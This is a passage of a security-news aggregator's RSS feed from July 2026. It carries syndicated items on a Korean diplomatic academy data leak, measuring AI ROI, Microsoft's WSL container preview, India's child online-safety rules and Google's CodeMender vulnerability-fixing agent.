 	<li><span data-contrast="auto">Encrypted passwords</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
</ul>
<span data-contrast="auto">The ministry emphasized that several categories of sensitive information were not exposed.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">Its official notice stated:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">"The personal information items involved in the leak include the ID, name, email, and encrypted password of the trainee in the Korea National Diplomatic Academy's online education system."</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The notice further clarified:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">"Unique identification information, sensitive information, mobile phone numbers, home addresses, and photos were not included."</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">This means national identification numbers, photographs, residential addresses, phone numbers, and other <a href="https://thecyberexpress.com/university-of-warsaw-cyberattack/" target="_blank" rel="noopener">sensitive personal data</a> were not part of the compromised dataset, according to the ministry.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>]]></content:encoded>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
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<title><![CDATA[India Tightens Social Media Rules to Protect Children Online]]></title>
<description><![CDATA[India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted ...]]></description>
<link>https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</guid>
<pubDate>Thu, 23 Jul 2026 10:56:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="India online safety rules" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="India Tightens Social Media Rules to Protect Children Online 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="257" data-end="713">India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to <a href="https://thecyberexpress.com/?s=artificial+intelligence" target="_blank" rel="noopener">artificial intelligence</a>. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.</p>
<p data-start="715" data-end="1123">The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also <a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287579&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">highlighted</a> the <a href="https://thecyberexpress.com/dpdp-and-cybersecurity-rethinking-data-risk/" target="_blank" rel="noopener">Digital Personal Data Protection Act</a>, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.</p>

<h3 class="" data-section-id="1o0spuj" data-start="1125" data-end="1192"><span role="text"><strong data-start="1129" data-end="1192">India Online Safety Rules Tighten Platform Responsibilities</strong></span></h3>
<p data-start="1194" data-end="1433">Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.</p>
<p data-start="1435" data-end="1671">Recent amendments require <a href="https://thecyberexpress.com/child-safety-online-eu-weighs-social-media-age/" target="_blank" rel="noopener">social media platforms</a> and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.</p>
<p data-start="1673" data-end="2054">The government has also o<a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287646&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">utlined specific obligations</a> related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.</p>

<h3 data-section-id="1g47dy1" data-start="2056" data-end="2116"><span role="text"><strong data-start="2060" data-end="2116">Government Targets Harmful Content and OTT Platforms</strong></span></h3>
<p data-start="2118" data-end="2530">The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.</p>
<p data-start="2532" data-end="2874">The government also said it has taken note of reports alleging the dissemination of advertisements linked to <a href="https://thecyberexpress.com/ai-child-safety-in-india/" target="_blank" rel="noopener">child sexual abuse material</a> (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.</p>

<h3 data-section-id="cy5duc" data-start="2876" data-end="2933"><span role="text"><strong data-start="2880" data-end="2933">India Strengthens AI-Generated Content Safeguards</strong></span></h3>
<p data-start="2935" data-end="3279">The government has also expanded its regulatory focus to address risks associated with <a href="https://thecyberexpress.com/ai-content-generation-systems/" target="_blank" rel="noopener">AI-generated content</a> and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.</p>
<p data-start="3281" data-end="3547">The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.</p>
<p data-start="3549" data-end="3807">Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.</p>
<p data-start="3809" data-end="4065">Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.</p>

<h3 data-section-id="1iex218" data-start="4067" data-end="4130"><span role="text"><strong data-start="4071" data-end="4130">Child Privacy and Digital Addiction Remain Key Concerns</strong></span></h3>
<p data-start="4132" data-end="4474">The Digital Personal <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="Data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29094">Data</a> Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.</p>
<p data-start="4476" data-end="4847">The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="29095">risks</a> linked to cyberbullying, compulsive gaming, social media and online gambling.</p>

<h3 data-section-id="pzt1k1" data-start="4849" data-end="4904"><span role="text"><strong data-start="4853" data-end="4904">Cyber Awareness Reaches 11.37 Lakh Participants</strong></span></h3>
<p data-start="4906" data-end="5315">Alongside regulatory measures, the government is expanding <a href="https://thecyberexpress.com/cybersecurity-skill-gap-awareness-education/" target="_blank" rel="noopener">cyber awareness </a>initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.</p>
<p data-start="5317" data-end="5663">The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29093">cybersecurity</a> training initiatives, while NCERT has incorporated cyber safety into its curriculum.</p>
<p data-start="5665" data-end="5951" data-is-last-node="" data-is-only-node="">The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.</p>]]></content:encoded>
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<title><![CDATA[Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation]]></title>
<description><![CDATA[Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also…
Read more →
The post Google ...]]></description>
<link>https://tsecurity.de/de/3688336/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688336/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</guid>
<pubDate>Thu, 23 Jul 2026 10:06:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/">Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Verify, and Patch Software Flaws]]></title>
<description><![CDATA[Google Cloud has moved its CodeMender AI security agent from research preview into a broader enterprise preview, enabling security teams to scan, verify, and automatically remediate software vulnerabilities at machine speed. The launch, announced on July 22, 2026, by Michael Gerstenhaber, VP of P...]]></description>
<link>https://tsecurity.de/de/3688296/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-verify-and-patch-software-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688296/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-verify-and-patch-software-flaws/</guid>
<pubDate>Thu, 23 Jul 2026 09:42:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Cloud has moved its CodeMender AI security agent from research preview into a broader enterprise preview, enabling security teams to scan, verify, and automatically remediate software vulnerabilities at machine speed. The launch, announced on July 22, 2026, by Michael Gerstenhaber, VP of Product Management for Gemini Enterprise, and Clemens Viernickel, Director of Product Management […]</p>
